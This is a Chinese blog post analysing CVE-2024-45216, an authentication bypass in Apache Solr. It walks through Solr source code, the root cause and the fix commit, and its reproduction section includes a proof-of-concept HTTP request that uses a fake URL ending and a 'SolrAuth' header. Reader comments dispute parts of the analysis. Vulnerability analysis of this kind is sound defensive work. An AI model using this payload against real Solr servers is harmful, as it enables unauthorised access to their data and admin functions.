Apache Solr 最新认证绕过漏洞CVE-2024-45216
前言
现在闲着没有事干的时候就喜欢看看阿里云漏洞库,然后看到了一个漏洞
看到是权限绕过,就想去分析一下,因为权限绕过相比于后台漏洞是最实用的
环境搭建
我是参考的https://issues.apache.org/jira/browse/SOLR-17417,很方便
调试分析的话加一个启动参数
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
然后 idea 配置一下
漏洞简单介绍
https://avd.aliyun.com/detail?id=AVD-2024-45216
2024 年 10 月,Apache Solr 官方披露 CVE-2024-45216 Apache Solr 认证绕过漏洞。攻击者可构造恶意请求利用 PKIAuthenticationPlugin 造成权限绕过,从而可在未认证的情况下调用。官方已发布安全更新,建议升级至最新版本。
影响范围
5.3.0 <= Apache Solr < 8.11.4
9.0.0 <= Apache Solr < 9.7.0
然后看一下官方的通告
https://solr.apache.org/security.html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
Apache Solr 中的不正确的身份验证漏洞。
使用 PKIAuthenticationPlugin 的 Solr 实例(在使用 Solr 身份验证时默认启用)容易受到身份验证绕过的影响。任何 Solr API URL 路径末尾的假结尾将允许请求跳过身份验证,同时保持与原始 URL 路径的 API 契约。这个假结尾看起来像一个不受保护的 API 路径,但它在身份验证之后但在 API 路由之前在内部被剥离。
其实已经把漏洞的大概给说出了,所以后面分析起来也是比较简单的
apahce solr 路由处理
我随便在页面上点了一点,然后下断点调试,首先和 spring 其实差不多,
doFilter:204, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:197, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:210, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1635, ServletHandler$Chain (org.eclipse.jetty.servlet)
doHandle:527, ServletHandler (org.eclipse.jetty.servlet)
handle:131, ScopedHandler (org.eclipse.jetty.server.handler)
handle:578, SecurityHandler (org.eclipse.jetty.security)
handle:122, HandlerWrapper (org.eclipse.jetty.server.handler)
nextHandle:223, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1570, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:221, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1383, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:176, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:484, ServletHandler (org.eclipse.jetty.servlet)
doScope:1543, SessionHandler (org.eclipse.jetty.server.session)
nextScope:174, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1305, ContextHandler (org.eclipse.jetty.server.handler)
handle:129, ScopedHandler (org.eclipse.jetty.server.handler)
handle:149, ContextHandlerCollection (org.eclipse.jetty.server.handler)
handle:228, InetAccessHandler (org.eclipse.jetty.server.handler)
handle:141, HandlerCollection (org.eclipse.jetty.server.handler)
handle:122, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:301, RewriteHandler (org.eclipse.jetty.rewrite.handler)
handle:122, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:822, GzipHandler (org.eclipse.jetty.server.handler.gzip)
handle:122, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:563, Server (org.eclipse.jetty.server)
lambda$handle$0:505, HttpChannel (org.eclipse.jetty.server)
dispatch:-1, 989941297 (org.eclipse.jetty.server.HttpChannel$$Lambda$811)
dispatch:762, HttpChannel (org.eclipse.jetty.server)
handle:497, HttpChannel (org.eclipse.jetty.server)
onFillable:282, HttpConnection (org.eclipse.jetty.server)
succeeded:314, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:100, FillInterest (org.eclipse.jetty.io)
run:53, SelectableChannelEndPoint$1 (org.eclipse.jetty.io)
runTask:416, AdaptiveExecutionStrategy (org.eclipse.jetty.util.thread.strategy)
consumeTask:385, AdaptiveExecutionStrategy (org.eclipse.jetty.util.thread.strategy)
tryProduce:272, AdaptiveExecutionStrategy (org.eclipse.jetty.util.thread.strategy)
lambda$new$0:140, AdaptiveExecutionStrategy (org.eclipse.jetty.util.thread.strategy)
run:-1, 1112560756 (org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy$$Lambda$390)
run:411, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:934, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:1078, QueuedThreadPool$Runner (org.eclipse.jetty.util.thread)
run:-1, Thread (java.lang)
就是分发请求然后 handle 处理丢给 Solr 拦截器
SolrDispatchFilter.doFilter 方法如下
public void doFilter(
ServletRequest _request, ServletResponse _response, FilterChain chain, boolean retry)
throws IOException, ServletException {
if (!(_request instanceof HttpServletRequest)) return;
HttpServletRequest request = closeShield((HttpServletRequest) _request, retry);
HttpServletResponse response = closeShield((HttpServletResponse) _response, retry);
if (excludedPath(excludePatterns, request, response, chain)) {
return;
}
Tracer t = getCores() == null ? GlobalTracer.get() : getCores().getTracer();
request.setAttribute(Tracer.class.getName(), t);
RateLimitManager rateLimitManager = coreService.getService().getRateLimitManager();
request.setAttribute(RateLimitManager.class.getName(), rateLimitManager);
ServletUtils.rateLimitRequest(
request,
response,
() -> {
try {
dispatch(chain, request, response, retry);
} catch (IOException | ServletException | SolrAuthenticationException e) {
throw new ExceptionWhileTracing(e);
}
},
true);
}
实例化请求和响应,然后跟进 excludedPath 判断
static boolean excludedPath(
List<Pattern> excludePatterns,
HttpServletRequest request,
HttpServletResponse response,
FilterChain chain)
throws IOException, ServletException {
String requestPath = getPathAfterContext(request);
// No need to even create the HttpSolrCall object if this path is excluded.
if (excludePatterns != null) {
for (Pattern p : excludePatterns) {
Matcher matcher = p.matcher(requestPath);
if (matcher.lookingAt()) {
if (chain != null) {
chain.doFilter(request, response);
}
return true;
}
}
}
return false;
}
其实就是判断我们请求的是否是静态的资源,如果是就不需要经过 filter 处理节约资源 String requestPath = getPathAfterContext(request);会获取当前的请求路径,这个本质是通过 getServletPath 获取的
静态资源的路径如下
然后继续回到 doFilter 方法走到 dispatch 方法
private void dispatch(
FilterChain chain, HttpServletRequest request, HttpServletResponse response, boolean retry)
throws IOException, ServletException, SolrAuthenticationException {
AtomicReference<HttpServletRequest> wrappedRequest = new AtomicReference<>();
authenticateRequest(request, response, wrappedRequest);
if (wrappedRequest.get() != null) {
request = wrappedRequest.get();
}
if (getCores().getAuthenticationPlugin() != null) {
if (log.isDebugEnabled()) {
log.debug("User principal: {}", request.getUserPrincipal());
}
getSpan(request).setTag(Tags.DB_USER, String.valueOf(request.getUserPrincipal()));
}
HttpSolrCall call = getHttpSolrCall(request, response, retry);
ExecutorUtil.setServerThreadFlag(Boolean.TRUE);
try {
Action result = call.call();
switch (result) {
case PASSTHROUGH:
getSpan(request).log("SolrDispatchFilter PASSTHROUGH");
chain.doFilter(request, response);
break;
case RETRY:
getSpan(request).log("SolrDispatchFilter RETRY");
doFilter(request, response, chain, true); // RECURSION
break;
case FORWARD:
getSpan(request).log("SolrDispatchFilter FORWARD");
request.getRequestDispatcher(call.getPath()).forward(request, response);
break;
case ADMIN:
case PROCESS:
case REMOTEQUERY:
case ADMIN_OR_REMOTEQUERY:
case RETURN:
break;
}
} finally {
call.destroy();
ExecutorUtil.setServerThreadFlag(null);
}
}
首先是鉴权,然后跟进不同的 action 类型选择不同的处理方法
authenticateRequest 方法就是实现了基于插件的身份验证逻辑,然后定义了一些不需要检测的路由
然后判断是否有权限认证的插件,进行相关的身份认证记录,然后主要就是 call 的类型了
然后是根据路由的 handler 获取的
在 init 方法中是 handler = cores.getRequestHandler(path);
然后
if (handler != null) {
solrReq = SolrRequestParsers.DEFAULT.parse(null, path, req);
solrReq.getContext().put(CoreContainer.class.getName(), cores);
requestType = RequestType.ADMIN;
action = ADMIN;
return;
}
我们的 action 就是 ADMIN
不同的 action 有不同的处理方法
这里是 handleAdminRequest 方法
之后就是调用专门的 handler 去处理了
漏洞复现
这个有很多复现了
POC
GET /solr/admin/info/system:/admin/info/key HTTP/1.1
Host: 192.168.177.146:8983
SolrAuth:test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
漏洞分析
其实这个漏洞很简单,首先上面鉴权在处理路由已经分析过了
主要是在 authenticateRequest 方法
private void authenticateRequest(
HttpServletRequest request,
HttpServletResponse response,
final AtomicReference<HttpServletRequest> wrappedRequest)
throws IOException, SolrAuthenticationException {
boolean requestContinues;
final AtomicBoolean isAuthenticated = new AtomicBoolean(false);
CoreContainer cores;
try {
cores = getCores();
} catch (UnavailableException e) {
throw new SolrException(ErrorCode.SERVER_ERROR, "Core Container Unavailable");
}
AuthenticationPlugin authenticationPlugin = cores.getAuthenticationPlugin();
if (authenticationPlugin == null) {
if (shouldAudit(EventType.ANONYMOUS)) {
cores.getAuditLoggerPlugin().doAudit(new AuditEvent(EventType.ANONYMOUS, request));
}
return;
} else {
// /admin/info/key must be always open. see SOLR-9188
String requestPath = ServletUtils.getPathAfterContext(request);
if (PublicKeyHandler.PATH.equals(requestPath)) {
log.debug("Pass through PKI authentication endpoint");
return;
}
// /solr/ (Admin UI) must be always open to allow displaying Admin UI with login page
if ("/solr/".equals(requestPath) || "/".equals(requestPath)) {
log.debug("Pass through Admin UI entry point");
return;
}
String header = request.getHeader(PKIAuthenticationPlugin.HEADER);
String headerV2 = request.getHeader(PKIAuthenticationPlugin.HEADER_V2);
if ((header != null || headerV2 != null)
&& cores.getPkiAuthenticationSecurityBuilder() != null)
authenticationPlugin = cores.getPkiAuthenticationSecurityBuilder();
try {
if (log.isDebugEnabled()) {
log.debug(
"Request to authenticate: {}, domain: {}, port: {}",
request,
request.getLocalName(),
request.getLocalPort());
}
requestContinues =
authenticationPlugin.authenticate(
request,
response,
(req, rsp) -> {
isAuthenticated.set(true);
wrappedRequest.set((HttpServletRequest) req);
});
} catch (Exception e) {
log.info("Error authenticating", e);
throw new SolrException(ErrorCode.SERVER_ERROR, "Error during request authentication, ", e);
}
}
if (!requestContinues || !isAuthenticated.get()) {
response.flushBuffer();
if (shouldAudit(EventType.REJECTED)) {
cores.getAuditLoggerPlugin().doAudit(new AuditEvent(EventType.REJECTED, request));
}
throw new SolrAuthenticationException();
}
if (shouldAudit(EventType.AUTHENTICATED)) {
cores.getAuditLoggerPlugin().doAudit(new AuditEvent(EventType.AUTHENTICATED, request));
}
}
这里会来到 PKIAuthenticationPlugin 的认证方法
public boolean doAuthenticate(
HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
throws Exception {
// Getting the received time must be the first thing we do, processing the request can take time
long receivedTime = System.currentTimeMillis();
String requestURI = request.getRequestURI();
if (requestURI.endsWith(PublicKeyHandler.PATH)) {
assert false : "Should already be handled by SolrDispatchFilter.authenticateRequest";
numPassThrough.inc();
filterChain.doFilter(request, response);
return true;
}
PKIHeaderData headerData = null;
String headerV2 = request.getHeader(HEADER_V2);
String headerV1 = request.getHeader(HEADER);
if (headerV2 != null) {
// Try V2 first
int nodeNameEnd = headerV2.indexOf(' ');
if (nodeNameEnd <= 0) {
// Do not log the value as it is likely gibberish
return sendError(response, true, "Could not parse node name from SolrAuthV2 header.");
}
headerData = decipherHeaderV2(headerV2, headerV2.substring(0, nodeNameEnd));
} else if (headerV1 != null && acceptPkiV1) {
List<String> authInfo = StrUtils.splitWS(headerV1, false);
if (authInfo.size() != 2) {
// We really shouldn't be logging and returning this, but we did it before so keep that
return sendError(response, false, "Invalid SolrAuth header: " + headerV1);
}
headerData = decipherHeader(authInfo.get(0), authInfo.get(1));
}
if (headerData == null) {
return sendError(response, true, "Could not load principal from SolrAuthV2 header.");
}
long elapsed = receivedTime - headerData.timestamp;
if (elapsed > MAX_VALIDITY) {
return sendError(response, true, "Expired key request timestamp, elapsed=" + elapsed);
}
final Principal principal =
"$".equals(headerData.userName) ? SU : new BasicUserPrincipal(headerData.userName);
numAuthenticated.inc();
filterChain.doFilter(wrapWithPrincipal(request, principal), response);
return true;
}
这个认证方法有一个很致命的问题,就是检验路径使用的是 requestURI.endsWith(PublicKeyHandler.PATH),查看 PublicKeyHandler.PATH 的值
然后就是路由的合法性了
这也是为什么 poc 中需要 :
回到分发路由的地方
跟进 call 方法
然后路由是在 init 处理的
路由处理是在
protected void init() throws Exception {
// check for management path
String alternate = cores.getManagementPath();
if (alternate != null && path.startsWith(alternate)) {
path = path.substring(0, alternate.length());
}
queryParams = SolrRequestParsers.parseQueryString(req.getQueryString());
// unused feature ?
int idx = path.indexOf(':');
if (idx > 0) {
// save the portion after the ':' for a 'handler' path parameter
path = path.substring(0, idx);
}
简单易懂,就是截取:前面的
对于header头
我们可以看到逻辑
是需要有header头才可以使用PKIAuthenticationPlugin鉴权的
而header头的值
漏洞修复
查看代码 diff
https://github.com/apache/solr/commit/bd61680bfd351f608867739db75c3d70c1900e38
直接简单明了
@1341025112991831
我的意思是,这个洞部署模式要solrcloud模式,并且配置认证,而这个作者分析完全没说明这点,还有那个payload.都不带SolrAuth请求头,这完全不合理吧,是不是为了发文章而发
我的意思是,这个洞部署模式要solrcloud模式,并且配置认证,而这个作者分析完全没说明这点,还有那个payload.都不带SolrAuth请求头,这完全不合理吧,是不是为了发文章而发
@1998307894807954 环境https://issues.apache.org/jira/browse/SOLR-17417都写得很清楚了
现在看人公布的poc.是不是分析错了,你这环境默认存在未授权吧